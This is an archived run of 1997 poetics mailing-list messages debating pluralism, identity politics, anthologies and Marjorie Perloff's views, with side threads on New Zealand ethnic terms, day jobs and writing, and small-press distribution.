I want to praise Robert Archambeau's call for a poetics of pluralism and note Chris Alenxander's point that respect can (and often must) include critique:

I also want to note that maximilism (as David Shapiro has named it) can be more activist than mere liberal pluralism: maximalism can be a starting point for writing and thinking about writing

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376. **Joseph Lease**
Re: A branch off the "Disturbed" thread
Fri 14 Mar 1997

PS
the quotation from Bernadette Mayer is a wonderful instance of Maximalism

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377. **Joseph Lease**
Re: Franklin Bruno's Post
Fri 14 Mar 1997

I'd like to hear more about postromantic form in postcolonial contexts: also it was the vicious and narrow Yvor Winters who makes the claim that a certain kind of form always has a certain kind of cultural political meaning (Winters among others of course): Jameson reading Perelman is a good example of this problem

On Fri, 14 Mar 1997, Robert Archambeau wrote:

> *Franklin Bruno writes:*
>
> *The*
> *notion that form and content are inseparable in understanding a given poem or poet tends to slide [. . .] into the view that a certain form somehow cannot help expressing a certain content (except perhaps when the form is used ironically). [. . .] The pluralist poetics Robert wants (maybe not everyone does) will have to question this.*
>
> *Franklin --*
>
> *Good point -- I was writing a bit sloppily, and I agree that the work done by a form is entirely contextual (hell, I wrote my dissertation about the different kinds of work that neo-Romantic poetics can do in different postcolonial contexts). This gives us all*
> *the more reason to be open to a larger variety of poetries, and to work toward a critical language that can value them.*
>
> *R.A.*

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378. **Joseph Lease**
Re: "deeply disturbed"
Fri 14 Mar 1997

also: yes Dodie's message is super-useful in reminding us of real state control and other palpable instances of power crashing into aesthetics

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379. **DS**
Re: joining conversation
Fri 14 Mar 1997

You maybe interested in the situation in New Zealand where 'whites' have been called Pakeha for so long it has eventually become accepted by most of the country as a way to describe non-Maori specifically white folk. Although there are still those who are offended & claim them selves to be 'New Zealanders' following the ol' meltin pot theory i guess. Still others are 'European' Recent Asian immigration has spawned use of the term tauiwi - which really means foreigner & it seems this term is becoming used politically to describe 'pakeha' - which many find disconcerting. Pakeha was useful for breaking down the racially neutral position & a hell of a lot of people recently are discovering their irish/scottish/eastern european roots. But I am aware the use of tauiwi seems like a betrayal to those who see themselves as sympathetic to Maori causes. I do not feel strongly about it yet, but admit to certain difficulties with being described as foreigner - tauiwi - whereas had grown up embracing ethnicity Pakeha - cos it's sure as hell to far back for me to realistically find any other national identity - except perhaps a bit of Tasmanian convict.

Yesterday someone wearing a tino rangatiratanga t-shirt (a strong Maori pol. movement) smashed up the 'America's Cup' with a sledge hammer. I don't know how this is relevant - but makes an interesting statement & the newspapers love this sort of thing. Guess i better go get me one,

Hope this reads as a discussion of your point Jocelyn

Dan

> *and the discoursive constructions of such whiteness as a method of making partial, or returning to a relational/contingent position, the constructed and equally socially-engineered nature of whiteness as "racelessness"--and therefore the "neutral" racial position.*
>
> *Jocelyn Emerson*

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380. **DS**
Re: A branch off the "Disturbed" thread
Fri 14 Mar 1997

In voicing a support of Robert Archambeau I wonder if the side of the debate that writes off 'contemporary' non-language (and i use the term loosely - i guess i really mean a tradition from Olson on - judging by this debate) poetries is not

just a bit mired in early marxism that managed also to avoid/ignore the fact that there were other people who didn't always want their battles fought by a (and i hate this almost-meaningless word) western elite. I find a great deal to value in the poetry most usually championed on this list and don't really read Heaney - but shitloads of Irish do - internationally and he obviously fills a need. As Robert writes, why this need for a reductive - even manichaen delineation of poetries.

It is easy to become infamous hating things, fundamentalists have been doing it for years, and while i don't preach moderation - & am incredibly opinionated myself - (and am confident my opinions are the TRuTH) - i read Walcott, Rich, Tuwhare, & others who examine a personal human condition without (usually) entering into the language melee (& may have to start reading Heaney just so i can sleep nights) alongside the americans we all know & love, sure I read them in different ways & for different things - but christ if we can still listen to Bob Dylan surely we can read pretty much anybody (except perhaps Rod McKewan (or however his name is spelt).

ANy not wanting to get peoples backs up - just concerned this thread could begin going round in even tighter circles soon & trying to get it off the rails a bit & other cliche metaphor.

Dan

btw like the Messerli anthology - maybe because i like big fat books, probably affects my poetics far more than photocopied zines etc I can see it & it can see me on the shelf & it always says you paid for this read it some more - got to get $$$$ value out of these things - photocopies get lost in office piles. Actually I read it more as from My side of the century - but the other side of the world. Yuck.

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381. William Burmeister Prod

Re: joining conversation

Fri 14 Mar 1997

> *You maybe interested in the situation in New Zealand where 'whites' have been called Pakeha for so long it has eventually become accepted by most of the country as a way to describe non-Maori specifically white folk. Although there are still those who are offended & claim them selves to be 'New Zealanders' following the ol' meltin pot theory i guess.*

Yeah, sort of like a white being called "gringo" in the Americas by some latin american groups (even in the U.S.for that matter).

Bill B.

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382. David Israel
Re: joining conversation
Fri 14 Mar 1997

> *Yeah, sort of like a white being called "gringo" in the Americas by some latin american groups (even in the U.S.for that matter).*
>
> *Bill B.*

It's interesting how likeable the term "gringo" is (or seems -- or am I wrong?) to the whites who get so dubbed (or maybe it's only when self-dubbing, w/ some pleasant irony, that this somehow playful sense of the term comes into play?)

A comparison, of course, is the Japanese "Gaijin" ("foreign [hu]man" -- the kanji character gai = the Chinese "wai" -- which could be rendered more exactly, or more anciently, as "outside[er]"). So: from what I hear, that term is by no means playful, in general (pervasive) use in Japan.

One thing I didn't quite get from DPSalmon's original post is what a literal meaning (or even, what sort of sense) Pakeha might hold or evoke.

Anecdote:

Coincidentally, today I sent an e-note to a small group of South Asian writers whom I'm joining in a "writer's critique" e-venture (sort of email fiction-writing workshop: just these 8 So.Asians plus now moi, who'm pan-Jewish in ancestral origin [E.Europe / Palestine], Calif. by birth).

The group is dubbed as of "So. Asian writers" -- & I thus found myself tempted to self-describe as the lone (or so to say token) "gringo" in the batch; then mentally edited that to "farenghi" [Hindi = foreigner / european]; then (besides being doubtful abt. the transliteration) felt it just as well to scuttle the whole adjectival issue altogether (rather than seeming to make an issue of what they're liberally construing as a non-issue in my case).

In any case: Rolling into century 21, no doubt there'll increasing emerge ways & contexts wherein we white guys find ourselves (surprisingly) the exception rather than the rule, (even) in America.

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383. Charles Alexander
praise
Fri 14 Mar 1997

Just a commendation to Jeff Hansen, for extending the notion of the political and of identity in this discussion. So often it seems we discuss ourselves as writers, or our positions within or without the academy, and I really like the way

Jeff put himself as person-in-family in the midst of all of this. Used to be the phrase was "the personal is the political," but now it often seems as if the political is the political and there is no personal at all. Decentered self or not, there is something to be said for beginning from the immediate, and getting wherever we get, around and about.

charles

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and
very likely it is reasonable.

Gertrude Stein, from "A Substance In
A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press
[redacted]

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384. Charles Alexander
identity
Fri 14 Mar 1997

Also in the midst of this identity discussion, I have been preparing one grant proposal and helping with another, grants which will go before a local (Tucson, Arizona, and Pima County, Arizona) arts council. The categories of people recognized by this council, according to their questions and statistics about boards, audience, and artists, which they require, are only three: white, hispanic, and other minority (not hispanic) strikes me as a limited point of view about diversity

charles

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and
very likely it is reasonable.

Gertrude Stein, from "A Substance In
A Cushion," in TENDER BUTTONS
Charles Alexander
Chax Press
[redacted]

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385. **DS**
Re: joining conversation
Fri 14 Mar 1997

At 06:11 PM 3/14/97 -0500, you wrote:
>>Yeah, sort of like a white being called "gringo" in the Americas by some
>> latin american groups (even in the U.S.for that matter).
>>
>>Bill B.

tauiwi - is more like gringo - Pakeha has become - an ethnicity - whether some people like it or not. It is different again because of this countries peculiar demographic. I was mentioning it interms of Jocelyn's interest in the study of whiteness.

By literal meaning - you mean direct translation? - well my dictionary says - not Maori/ European - its practical (literal?) defintion is both of these really - non-Maori of European descent. Though reactionary 'white' talkback definitions range from ghosts, carrot and white turnip to other less complimentary things. I hadn't really intended to give a potted rundown of ethnicity-New zealand - I'm sure there are folks with far greater knowledge than me & I am wary of trying to define these terms from my limited lay perspective.

Dan Salmon

> *One thing I didn't quite get from DPSalmon's original post is what a literal meaning (or even, what sort of sense) Pakeha might hold or evoke.*

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386. **DS**
Re: joining conversation
Fri 14 Mar 1997

Not really because as i said elsewhere it has become an ethnic identity in itself - most white new zealanders (at least publicly) think of themselves/ourselves as Pakeha - Paakehaa

> *Yeah, sort of like a white being called "gringo" in the Americas by some latin american groups (even in the U.S.for that matter).*
>
> *Bill B.*

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387. **Stephen Vincent**

Disturb D/re Perloff

Fri 14 Mar 1997

Marjorie Perloff writes in response to David Kellogg: "Minority communities in the 80s: I didn't think this needed spelling out. I am referring to simple fact here: namely, check out any anthology or critical study of "contemporary poetry" prior to that time and you'll see that the issue of minority poets is simply ignored. (read, for example, Altieri, J. Breslin, P. Breslin, von Hallberg--you name it). The anthologies may have included, say, Baraka and one or two other black poets but the notion of "Chicano poetics" or "Asian-American poetics" did not yet exist. This isn't a value judgement, just a fact."

If I'm not misunderstanding Marjorie Perloff's point, I think a number of people would disagree with this assessment of minority writing prior to the eighties. What I think she is actually saying is that other anthologists and critics and she herself(?) were mostly unaware of "minority" writing that began to strongly emerge with the various "liberations" of the late sixties and early seventies (simultaneous with gay and feminist writing, as well) . An obliviousness to the work of Victor Hernadez Cruz, Ntozake Shange, Jessica Hagedorn, Sonia Sanchez, Etheridge Knight among many others who were consistently published in books and periodicals is possibly more a reflection of Town and Gown, "high and low" culture divisions-- unless there is an assumed separation between the poets who make poems, and the critics who create a "poetics" around the work - the latter sometimes not happening until much after the fact. On the other hand, it's still not clear to me, if Marjorie Perloff was familiar with any of the this writing, or whether or not she is dismissing these and other writers out of an aesthetic principle -- which I find a perfectly acceptable thing to do, as long as it's not confused with an exclusive notion of "the one and only principle."

In response to another one of Kellogg's arguments, Perloff goes on to say:

"Therefore--and this is all I meant--the job of putting together an "avant-garde" anthology in the 90s is very different from putting one together in 1960. Don Allen could just choose those poets that satisfied what he took to be the New American Poetry. Today, the anthologist does not have that freedom because --witness what John Yau did to Eliot Weinberger--s/he is under pressure to include X number of poets from this or that grouping. I am optimistic enough to think this phenomenon will pass as there are increasing numbers of, say, Mexican-American poets to choose from. But at the moment it's tricky and so inclusions are often somewhat cynical. So--as I said in the article--the picture is clouded and no anthologist can quite proceed freely as Don Allen could."

I'm again not sure of the point of view being expressed. Is her point that in order to make an ideal avant garde anthology -- one that is not burdened by a rhetoric of gender and ethno-identity issues -- we must wait another generation or so for people of color and women to learn to write in an an acceptable experimental mode? If this is the view, I immediately want to know who is the "who" that is determining what is acceptable here? With all due respect to her reference to Charles Bernstein's criteria of substance and form, might the presence of writers and editors of color, for example, bring other criteria to the table that do not revolve around what Perloff sees limited to issues of "grievance" and "identity," or, to further the net here, what she and others have variously referred to and dismissed as "speech based poetics."

Frankly I have a tough time with the "tongue cutter" character of that phrase -- as if pure text is primary and that which is spoken is disposable, of no significance, or resonance. If I understand what is being stated, cultures that are orally based -- which are often minority ones -- no matter how rigorous the construction of their poems or songs, these groups or cultures are automatically contained in a "less than" category. Personally I don't understand why in a contemporary text that there is not room for voice(s) - I'm daily surrounded by them and they give me great delight! And I am often taken by voice as a textual component of a work. If I'm interpreting her correctly, I think my own discomfort with Perloff's argument stems partly from what appears to be this strict, exclusive notion of text. It seems to me that there is much more room on the playing field -- without implying a return to a "me, voice" centered poem.

But, finally what I find most troubling is Perloff's implied point of view that "we" must wait for minorities and others to catch up with what she values in the way of experiment. I'm much more curious as to what happens when the tables are turned. In particular, how have issues of "grievance" and "identity", for example, impacted on the work of white experimental writers. There has been much talk here of exp. writers not being able to find work on account of issues of race and gender - which well might be true. But I hear little of ways in which these issues -- which are vigorously alive in most of the culture -- have impacted on the making of experimental work. To be quick and speculatively specific, what, by way of example, is the influence of Cecil Taylor on line and structure in the work of Barrett Watten? If so, how does he deal with issues of appropriation from Taylor or any "other" cultural zone. What's the difference between cultural robbery, reciprocation and respect? (This is not to suggest Barry's any one of them). In part I'm wondering to what degree "experimental writers" are compelled to acknowledge the larger cultural context - and what are the aesthetic issues and consequences of that inner-change? ((Has anyone on this list addressed this issue/process??). And, in a progressive English Department,

shouldn't a "white male" candidate who has engaged these issues in fresh way be considered of more value than one who has not?

I sometimes think "white" artists/writers feel it is an option to ignore this larger sphere. On the other hand this is not a position with which minorities can very often "privilege" themselves. For example, I was recently thinking, it's impossible to look at the photographs & texts of Carrie Mae Weems and not be totally taken by her awareness and interpretation of a history of both white and black worlds. For her, I don't believe one functions without the other, and this largeness of vision gives her work a major signifcance. In comparison, does the concept of "innovative poetics" (which is the basis of this list) make this awareness -- or is it a vulnerability to "the other(s)" and a willingness to acknowledge, wrestle and change? -- an implicit responsibility of its project?

I guess what I'm hearing in Perloff's view is a mono-centric critical vision of what constitutes a memebership in an avant-garde. Dropping the relatively easy "grievance and identity" herrings, I believe we live in a much more polycentric environment in which the containment of poetic and critical work is a much more elusive task.

Cheers,
Stephen Vincent

I do think Perloff rightly points out that these two criteria for anthologies are cynically seized upon by probably "white" editors as marketable, acceptable criteria. I'm just curious -- in terms of an ideal, advanced anthology -- as to who she sees as the arbiters of what is appropriate. I assume Norton's way of "liberally" dealing with this potential impasse is to give every major group an anthology - including the current ones of Hoover for the experimental, Gates for the Afro-Americans and on an on. (A parallel to this phenomenon is all various Smithsonian museums that are planned up down the Washington Mall - American Indian, Afro-American etc. etc.) All this might look well on paper, but it avoids the issues and great works of art that have occured because the various groups that constitute this country are so historically inter-webbed. Objectively -- especially in terms of making contemporary work -- I think it's silly for anyone to imagine autonomous grounds for any particular group - experimental, "minority" or otherwise. That said, given this country's history it's understandable why many groups will want to secede into their own anthology or museum.

> *Now David perfectly proves my point by implying I'm somehow making a racist statement.*
>
> *You are reading into (as opposed to "not reading") what I wrote. What I wrote was that the pluralism of your approach is in tension with the exclusivity of your actual critical practice. This seems to me a perfectly reasonable critique to make. Sure I find this disturbing; but*

> *not because I think you're a racist (I don't) -- rather, because of the slippage that comes into play in passages like the one that follows:*

The "exclusivity of my actual critical practice"--I don't know what this means. I admire particular poets and those are the ones I write about--yes. If that's "exclusivity" --I plead guilty. I try, on the other hand, to include non U.S. poets so in that sense I believe I'm much more "inclusive" than others. There's only so much time.
> > What I meant, of course, is that the mainstream
> > anthologies today like the Norton will include a lot of, say Rita Dove,
> > because she's a black woman when the Norton doesn't even include Zukofsky,
> > Reznikoff etc. not to mention Harryette Mullen, Erica Hunt, Will
> > Alexander, or Charles Bernstein, Susan Howe, Lyn Hejinian--well, the list
> > goes on and on, right? This is where identity politics does indeed cloud
> > the picture because if you object to these inclusions or exclusions you
> > are immediately branded.
>
> "Inclusions or exclusions." This is not a symmetrical complaint. The
> complaint about exclusions is well taken, and I'm wholly on your side in
> that struggle. The complaint about inclusions is where I think your
> pluralistic stance conflicts with your practice. Mullen, Hunt, et al.
> are not excluded because Rita Dove is included. (Nor do I think it fair
> to say that the Norton includes "a lot of . . . Dove, because she's a black
> woman," barring evidence to support that assertion.) Giving Dove less
> space will do not one damn bit of good in making more space for Zukofsky,
> Howe, or Bernstein.

I disagree with the last sentence above. I believe it's Charles B who noticed that the Norton, so far as poets born after 1950 goes, includes not a single white man. Our Quals list at Stanford is similar. The list, made up by a faculty committee includes Leslie Marmon Silko Sandra Cisneros but not Charles Olson or John Ashbery or Louis Zukofsky
If this isn't identity politics, what is it? You will note, if you study reading lists around the country that this is the case. The post World War II period has been turned into a kind of grievance list.
> >
What I'm trying to say, badly probably, because email is not the easiest
> > writing venue, is that, yes, I am opposed to identity politics in its
> > crude form and no, that doesn't make me a racist, and if we want to be
> > political, let's be political and try to do something about what is
> > happening in Washington.
>

> 1) identity politics: I do am opposed to "its crude form," but I think
> such opposition must not be crude either;
>
> 2) that doesn't make you a racist. Agreed (never thought otherwise);
>
> 3) politics: it's all over the place, both in Washington and in the poetry
> community etc. But I'd append also: If we want to do something about
> excluded poetry, let's not act as though the currently included poets are
> the problem. If we want diversity, let's have diversity, and

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388. **Hugh Steinberg**
Re: jobs and poetry
Fri 14 Mar 1997

Time is what is all about, especially when you don't have one of those cushy situations set up for you. Working 9 to 5 has had a profound impact on my writing. I used to write fairly elaborate collages, involving a good chunk of research. I used to stay up late and write till three in the morning. I can't do those things anymore because I don't have the time. I have to get up early and put on a tie and stare at a computer screen for eight hours.

So I sneak and I steal and I adapt to my environment. Instead of collages, I write couplets (because it's less time consuming to crank out couplets). I revise less and write quickly. I use the photocopier and laser printer at work to prepare manuscripts. I write at home and and rewrite at work, hoping no one's looking over my shoulder. And whenver I can get the energy to go to a reading, or volunteer for Tia Chucha or the Guild complex (a literary org. in Chicago), I do it because I don't know when I'll be able to do it again. That's the way it is for most people, I guess, although probably many have it worse. If practicing your art is a priority, you find a way to get it done regardless of the circumstances.

Hugh Steinberg

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389. **Demian**
Re: jobs and poetry
Fri 14 Mar 1997

> *Time is what is all about, especially when you don't have one of those cushy situations set up for you. Working 9 to 5 has had a profound impact on my writing. I used to write fairly elaborate collages, involving a good chunk of research. I used to stay up late and write till three in the*

> *morning. I can't do those things anymore because I don't have the time. I have to get up early and put on a tie and stare at a computer screen for eight hours.*
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> *So I sneak and I steal and I adapt to my environment. Instead of collages, I write couplets (because it's less time consuming to crank out couplets). I revise less and write quickly. I use the photocopier and laser printer at work to prepare manuscripts. I write at home and and rewrite at work, hoping no one's looking over my shoulder. And whenver I can get the energy to go to a reading, or volunteer for Tia Chucha or the Guild complex (a literary org. in Chicago), I do it because I don't know when I'll be able to do it again. That's the way it is for most people, I guess, although probably many have it worse. If practicing your art is a priority, you find a way to get it done regardless of the circumstances.*
>
> *Hugh Steinberg*

I empathise re working. What does this do for your writing, or to it? Certaintly you do find a way to get it done. I write on the way to work and on the way home I revise. There is no time to write at work. This means that the way you write is dictated largely by circumstance: It takes me 15 minutes to get home so writing has to fit into fifteen minute blocks. These blocks are separated by reasonable time periods: so the writing takes on a disjointed tone (if what is beng written is more than a few lines).

Writing can take a position in such circumstances (I am loathe to say prioirity because I spend the greater part of most days working), but as such it is a writing which is a victim of cirumstance, and to a certain extent shaped by it.

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390. **Maria Damon**

Re: Disturb D/re Perloff

Fri 14 Mar 1997

At 8:50 PM -0500 3/14/97, Stephen Vincent wrote:
>Marjorie Perloff writes in response to David Kellogg:
>"Minority communities in the 80s: I didn't think this needed spelling out.
>I am referring to simple fact here: namely, check out any anthology or
>critical study of "contemporary poetry" prior to that time and you'll see
>that the issue of minority poets is simply ignored. (read, for example,
>Altieri, J. Breslin, P. Breslin, von Hallberg--you name it). The
>anthologies may have included, say, Baraka and one or two other black
>poets but the notion of "Chicano poetics" or "Asian-American poetics" did
>not yet exist. This isn't a value judgement, just a fact."
>

>If I'm not misunderstanding Marjorie Perloff's point, I think a number of
>people would disagree with this assessment of minority writing prior to the
>eighties.

yes indeed, thank you stephen vincent.

What I think she is actually saying is that other anthologists and
>critics and she herself(?) were mostly unaware of "minority" writing that
>began to strongly emerge with the various "liberations" of the late sixties
>and early seventies (simultaneous with gay and feminist writing, as well) .
>An obliviousness to the work of Victor Hernadez Cruz, Ntozake Shange, Jes-
sica
>Hagedorn, Sonia Sanchez, Etheridge Knight among many others who were
>consistently published in books and periodicals is possibly more a reflection
>of Town and Gown, "high and low" culture divisions-- unless there is an
>assumed separation between the poets who make poems, and the critics who
>create a "poetics" around the work - the latter sometimes not happening until
>much after the fact. On the other hand, it's still not clear to me, if
>Marjorie Perloff was familiar with any of the this writing, or whether or not
>she is dismissing these and other writers out of an aesthetic principle --
> which I find a perfectly acceptable thing to do, as long as it's not
>confused with an exclusive notion of "the one and only principle."

i wish i'da said this. right on sv, thanks for saying what is obvious to
many who are not on this list and who do not need to pretend the emperor
has no clothes.
>

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391. Alan Jen Sondheim
Jennifer an other weary time
Fri 14 Mar 1997

-

Jennifer's Sonnet of Marbles and Brambles

Brambles have marbles by their bases, glass against knobby bark up towards dark green shoots, lovely white fleshy soles. They're in cahoots, marbles' burbled presence by Jennifer's toes. One among each and each, each other. Jennifer's in throes Of pain and anguish, delirious happenings. The sap drains from Jennifer's waist down to the ground hoisted by the naval beach. We're not going to the beach, to the ocean or the grotty sea. There are no waves. Jennifer shaves her body, slides marble packets in and out. They make rackets, Jennifer shouts with joy, delight, dissolution. Proliferation of cornucopia of confusion,

white wire tangling profusion, the marbles are covered with dirt, whole villages of paramecia, stentor, amoeba, nematodia clad and pillaged by Jennifer's souls. We're not going anywhere, Jennifer-in-the-brambles monuments herself in dark white beautiful marble plinth, she's in't.

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392. **George Bowering**
Re: joining conversation
Sat 15 Mar 1997

> *Yeah, sort of like a white being called "gringo" in the Americas by some latin american groups (even in the U.S.for that matter).*

Have I been wrong all my life? Are Mexican whites called gringos? I always thought that the word was applied to people from north of the U.S.-Mexican border.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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393. **Miekal And**
Re: jobs and poetry
Sat 15 Mar 1997

Havent worked for money for about 7 years but then a novel I wrote in 90 said as its last line, "the next book will contain no recognizable words" & I havent yet come to writing anything since then because I recognize everything I come to.

Miekal

ok, say maybe Ive written a tiny bit.
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:

http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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394. **Robert Archambeau**
Re: A branch off the "Disturbed" thread
Sat 15 Mar 1997

Michael Magee wrote:

> *to*
> *some extent I think his [Heaney's] "formalness" is not passive acceptance but, at least in his mind, an act of intervention: as he writes in "The Ministry of Fear," "Ulster was British, but with no rights on / The English lyric:*

This is a great example of the kind of contextually specific work done by poetic forms that Franklin Bruno was posting about -- kudos to Michael.

The only danger in pursuing this kind of speculation (and we haven't fallen into this trap yet by any means) is to end up concluding that only one kind of form can do positive work in any particular context. It would be wrong to argue along the lines of -- "oh, well, traditional form is alright for the Irish, but none of it can ever be any good in America" or the analogous "the Irish ought to stick to traditional form and leave experimentalism to Buffalo and SF" --(I don't mean that Michael has done anything like this, far from it, I just mean that this _could_ be a hazard when thinking through a "contextualist poetics").

[There are, by the way, a number of fascinating Irish experimentalist poets, who very deliberatley choose innovative form as a way to respond to their environment -- Billy Mills, Catherine Walsh, Randolph Healy, and Maurice Scully spring to mind. There is a review of some of them coming out (by yours truly) in the same issue of the Notre Dame Review that has the Boland interview.]

Robert Archambeau

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395. **Michael Magee**
Re: A branch off the "Disturbed" thread
Sat 15 Mar 1997

Dan wrote: "(& may have to start
reading Heaney just so i can sleep nights)"

I always liked Heaney's stuff from the seventies, never gaga over them but they're interesting and often political poems (*North* especially) - to some extent I think his "formalness" is not passive acceptance but, at least in his mind, an act of intervention: as he writes in "The Ministry of Fear," "Ulster was

British, but with no rights on / The English lyric: all around us, though / We hadn't named it, the ministry of fear." In the end of "Punishment" he describes himself, in relation to a waoman's mob-killing, as someone "who would connive / in civilized outrage / yet understand the exact / and tribal, intimate revenge." Perhaps its worth thinking about the idea that the Irish have a different relation to the English metric that Americans (I don't know, I'm just hypothesizing). As someone asked earlier, what's Eavan Bolamd doing in the west coast experimental scene? - actually it makes a fair amount of sense to me having talked to her a couple times - in her own context she's progressive as hell and very involved on the grassroots levelof Irish feminism. So, what am I saying here? Well, I can't think of a single post-ww 2 formal poet who I would list as a "favorite" but certainly several deserve a careful, open minded reading. I said earlier I didn't like "Diving into the Wreck" and its true, I don't, but I've certainly gained by reading Rich over the years, I mean, hell, she's interesting, the way someone you meet might be - the poets we read don't have to be, transcendentally, on "the right path," for me reading's usually more of a scavenging expedition.

-Mike Magee.

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396. **amato**
Re: Disturb D/re Perloff
Sat 15 Mar 1997

---

well i've been away for a day, oversaturating mself again, and return to find all sortsa poetix things to discuss... you folks are great!... thanx esp. to jeff hansen and others for taking me up on my request to elaborate on other-than-academic contexts... i'd like to hear more too on the way this shapes one's writing...

having just been hard at work on another list (litsci-l) a week or so ago arguing that crossing the disciplines of "science" and "literature" (note those quotes, puh-leez) requires both reverence AND irreverence, i'd hate to see robert a's call for "respect" taken as a call for no critique (as joseph l., chris a., and robert himself have indicated)... my point there is equiv. to my point here, and even MORE controversial given that there are great divides between (as among) sci phuds and lit phuds: that being critical of a particularly disciplinary knowledge is not quite the same thing as being critical of a discipline's practitioners... and that the best way to refrain from coming off as holier-than-thou in this regard is to account for one's own institutional moorings...

that said, i might say, again and again, that it don't hurt none to be able to critique poetry in terms of what works and what doesn't aesthetically and culturally... i will be talking at the upcoming denver conference on the problems with

"craft" and "voice" as these are played out in the creative writing classroom, and through a simple twist of fate (thank you bob dylan) i will manage to poke a bit of fun at the way in which robert frost, for example, gets used in popular versions of "the poet" (quotes again)...

now from my pov, IN MY OWN WORK, 'taking account of my critical moorings' has often amounted to *enacting* my theoretical claims *while* making same... i'm certain that, if not my product, at least my intentions/motives are likely to be appreciated in *this* forum... call it poetry, call it criticism, call it neither... but at the same time, arguments twixt those of you who, on the whole, tend to write scholarship in sentences and paragraphs -- whatever the content content (as opposed to formal content---if you'll permit me this slippage) -- *might* (i say *might*) be taken to mean that you accept, without a whole lotta critical intervention, your own critical moorings to varying degrees...

i mean, some might observe that marjorie perloff writes in paras, as does stephen vincent, as do i (HERE)... this particular view is not meant as a *criticism*, but IS offered (by ME) by way of (self-)critique... this is, after all, the primary way of going public in this forum (some here, like dbchirot, write in ways that are not so sequential---thanx david!)... but what happens when you try to "do" theory and not "do it" the customary way?...

we KNOW what happens---it's tough to get published!... or, it's tough to be understood... or----

that's point the first, which i offer, unabashedly, as a wee bit of mediation, intended to knock me and others offa our high hobbyhorses...

point the second cuts in a sort of opposite direction, requires a, well, trip report:

yesterday i was down at u of i at urbana-champaign, where i used to teach, to hang with some friends/acquaintances for a panel forum that was part of their "cyberfest," a celebration of HAL from *2001: a space odyssey* (HAL, as i'm sure many of you know, designed and fired up down at uiuc, in 1997 (in the book version))...

anyway, the panelists:

n. katherine hayles -- writes some just incredible lit-sci critical, that crosses multiple disciplines richard powers -- a novelist who's written some, well, incredible novels brad leithauser -- novelist/poet/essayist, i don't know brad's work hans moravec -- perhaps the leading theorist of robot/ai technologies in the world at the moment, at carnegie melon bruno latour -- french sociologist of science, one of the beter known social constructivists writing today

all moderated by michael berube... whose first book was on pynchon and tolson, but who's written some astonishing stuff since on higher learning...

needless to say, a very male-gendered discussion in all, but something interesting turned up along the way, something from leithauser about, in his opine, the current status of the novel, its refusal to really deal with science and technology... i can't say that i entirely agreed with him (for all sortsa reasons i won't detail here---though i *was* thankful to hear him praise h. g. wells' work) but his point about the novel form is methinks pertinent here: that much if not most scifi in fact, though 'conservative' at the level of the sentence and in terms of structure, nevertheless *is* radical in many ways in terms of ideas (some scifi does both, of course)... and that the failure to value this latter sort of literary endeavor vis-a-vis what is now called literary fiction results in a hierarchy that perhaps we oughtta take a long hard look at...

but hold!---i mean, i appreciate the need for literary fiction too, and i AM suspicious, as a poet, of 'junk prose,' of pulp... it's just that i've read some damned good scifi on occasion, and LOTS of damned good COMIC BOOKS... gotta come at it all with somewhat altered expectations though, aesthetically and in terms of the cultural work that gets done... and yeah, sure, with critical prophylaxis intact...

making any sense?... too much?...

looking to learn more from this exchange...

best,

joe

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397. **amato**
Re: poetry that sells? -Reply -Reply
Sat 15 Mar 1997

---

michael coffey, thanx for your reply!... you raise some good points...

part of my thing, both as an educator and as somebody who just talks with other writers about writing, has to do with getting a fix on the states of the arts, helping to generate some public recognition about what's going on... i find it tough as hell sometimes to discuss, even with writers (esp. established writers published in the larger publishing venues) the situation in the small press world... the absence of a solid distribution network, save for spd (and the web notwithstanding---heck, i've been making arguments about using the web to promote distribution for five years anyway), is something that needs, as i see it, more press---and i say this regardless of the realities (read *numbers*) of poetry

consumption and production... i can't help but observe that---if ten years ago things were bad, and today things are better---then it would be nice if things got a LOT better!...

for example, to reference my own tiny little woes: i've been unsuccessful in getting seminary co-op down the street from me (one of the best academic bookshops in the nation) to stock my first book... first thing that screwed me up was the collapse of inland... a year later, although i could provide catalogs and samples etc., they were unwilling to contact the publisher... the first response is always, "yes, we stock local authors"... the second response is NOTHING HAPPENS... what it comes down to is whether spd stocks same (i understand now that spd will stock my press's inventory, and i await that *material* transfer)...

the point here is that there are just not a helluvalotta options... i've taken a few books up to woodland pattern, where the folks there were nice enough to inventory same formally (i'm not looking to make money here)... but in fact many bookstores don't WANT you to give them copies!... and working on consignment---me trying to inventory my own 'stock'---well some of you can speak to same better than me...

anyway... i appreciate your response... i wonder if the audience for _publishers' weekly_ would care to read an article on the current situation?... now i'm *not* the guy to write same---i just don't have the background... but mebbe somebody in these parts is?...

best,

joe

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398. **Marjorie Perloff**

Re: once more, deeply disturbed

Sat 15 Mar 1997

Two quick points in response to Chris Jenkins, David K and others:

1) I am NOT NOT NOT saying that I hope after things shake out we can once again have THE anthology. That's the antithesis of what I said in the article. My whole point is that you can't and don't want to because there are such varied poetries and not one avant-garde. Moreover, I don't particular want any anthology--I never use one in class if I can avoid it. I go with David Antin's quip that anthologies are to poets like the zoo to animals.

2) However--for those who do want to construct anthologies or reanimate the canon (which has never been my sport--I hate the canon debates and think

they're a great distraction from real issues), you might as well be upfront and define your own criteria. Clearly, there is no anthology without a principle of selection. So all this talk of reaching out, opening up, caring about others is slightly specious. Reaching out to whom? why? And why not to a million others?

Enough already!

Marjorie

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399. **F.A. Templeton**
Litsci
Sat 15 Mar 1997

(So what does that make Gramsci?)

No, what I'm asking is, more info on n. Katherine Hayle, and how do I take a look at that litsci list?

Fiona

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400. **DS**
Re: once more, deeply disturbed
Sat 15 Mar 1997

. I go with David Antin's quip that anthologies are to
>poets like the zoo to animals.
>

